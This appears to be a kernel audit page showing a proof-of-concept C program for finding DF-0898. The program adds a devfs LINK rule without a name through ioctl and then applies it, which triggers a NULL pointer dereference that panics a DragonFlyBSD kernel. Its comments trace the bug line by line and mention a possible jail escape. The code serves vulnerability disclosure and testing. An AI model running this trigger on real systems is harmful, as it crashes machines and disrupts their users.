โฌข DragonFlyBSD Kernel Audit
DF-0898 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-0898 โ€” NULL pointer deref when DEVFS_RULE_LINK is used without
 *           DEVFS_RULE_NAME in devfs ruleset ioctl.
 *
 * Bug (sys/vfs/devfs/devfs_rules.c):
 *   :99   rule->name and rule->namlen are ONLY initialized when
 *         (templ->rule_type & DEVFS_RULE_NAME). Otherwise they stay at the
 *         memset-zero values from line 85 (rule->name == NULL, namlen == 0).
 *   :113  rule->linkname IS initialized independently, whenever
 *         (templ->rule_cmd & DEVFS_RULE_LINK).
 *   :331  devfs_rule_check_apply() dispatches to devfs_rule_create_link()
 *         whenever (rule->rule_cmd & DEVFS_RULE_LINK), WITHOUT checking
 *         whether rule->name is set.  With rule_type == 0 the rule passes
 *         every filter (no JAIL/TYPE/NAME constraint) so it matches every
 *         node on the matched mount.
 *   :243  devfs_rule_create_link() unconditionally evaluates
 *           if (rule->name[rule->namlen-1] == '*')
 *         With rule->name == NULL and rule->namlen == 0 (u_char promoted to
 *         int => 0 - 1 = -1), this dereferences address 0xFFFFFFFFFFFFFFFF
 *         (NULL + (ptrdiff_t)-1) => page fault => kernel panic.
 *
 * Reachability: /dev/devfs is 0600 root:wheel.  Direct trigger is root-only
 * (root->kernel hardening gap on default GENERIC; potential jail-escape if
 * /dev/devfs is exposed inside a jail's devfs ruleset, which is a
 * non-default but plausible admin configuration).
 *
 * Trigger sequence:
 *   ioctl(/dev/devfs, DEVFS_RULE_ADD,    {type=0, cmd=LINK, mnt="/dev",
 *                                          linkname="x"})   // succeeds
 *   ioctl(/dev/devfs, DEVFS_RULE_APPLY,  {mnt="/dev"})      // panic
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/syslimits.h>
#include <sys/devfs_rules.h>

int
main(int argc, char **argv)
{
    int fd, rc;
    struct devfs_rule_ioctl rule, apply_cmd;

    fd = open("/dev/devfs", O_RDWR);
    if (fd < 0) {
        perror("open /dev/devfs");
        fprintf(stderr, "(must run as root; device is 0600 root:wheel)\n");
        return 1;
    }

    /*
     * Build a LINK rule WITHOUT the NAME flag.
     *   rule_type = 0            (no DEVFS_RULE_NAME => rule->name stays NULL)
     *   rule_cmd  = DEVFS_RULE_LINK (0x01)
     *   mntpoint  = "/dev"       (matches the host devfs mount)
     *   linkname  = "x"          (required non-empty by alloc)
     *   name      = <ignored>    (left zeroed)
     *
     * devfs_rule_alloc() will accept this (linkname is valid), but rule->name
     * remains NULL and rule->namlen remains 0.
     */
    memset(&rule, 0, sizeof(rule));
    rule.rule_type = 0;                  /* NO DEVFS_RULE_NAME */
    rule.rule_cmd  = DEVFS_RULE_LINK;    /* 0x01 */
    memcpy(rule.mntpoint, "/dev", 5);    /* includes trailing NUL */
    memcpy(rule.linkname, "x", 2);       /* includes trailing NUL */
    /* rule.name is left zero-filled (and never consulted by alloc) */

    printf("[*] sizeof(struct devfs_rule_ioctl) = %zu\n", sizeof(rule));
    printf("[*] rule_type=0x%lx rule_cmd=0x%lx (LINK=0x%x, NAME=0x%x)\n",
           (unsigned long)rule.rule_type, (unsigned long)rule.rule_cmd,
           DEVFS_RULE_LINK, DEVFS_RULE_NAME);
    printf("[*] Sending DEVFS_RULE_ADD (LINK without NAME)...\n");
    rc = ioctl(fd, DEVFS_RULE_ADD, &rule);
    printf("[*] DEVFS_RULE_ADD returned %d (errno=%d: %s)\n",
           rc, errno, strerror(errno));
    if (rc != 0) {
        fprintf(stderr, "[!] ADD failed; cannot proceed to APPLY\n");
        close(fd);
        return 1;
    }

    /*
     * Apply: devfs_apply_rules("/dev") iterates every node under /dev and
     * calls devfs_rule_check_apply().  Our rule has no JAIL/TYPE/NAME filter,
     * so it matches every node.  The first match dispatches to
     * devfs_rule_create_link(), which at line 243 evaluates
     *   rule->name[rule->namlen-1]
     * with name==NULL and namlen==0 => NULL + (ptrdiff_t)-1 => page fault.
     */
    memset(&apply_cmd, 0, sizeof(apply_cmd));
    memcpy(apply_cmd.mntpoint, "/dev", 5);

    printf("[*] Sending DEVFS_RULE_APPLY (triggers NULL deref)...\n");
    fflush(stdout);
    rc = ioctl(fd, DEVFS_RULE_APPLY, &apply_cmd);
    /* NOTREACHED on unpatched kernel โ€” guest panics in devfs_rule_create_link */
    printf("[*] DEVFS_RULE_APPLY returned %d (errno=%d: %s)\n",
           rc, errno, strerror(errno));
    printf("[!] Reached end of program โ€” kernel did NOT panic (bug absent?)\n");

    close(fd);
    return 0;
}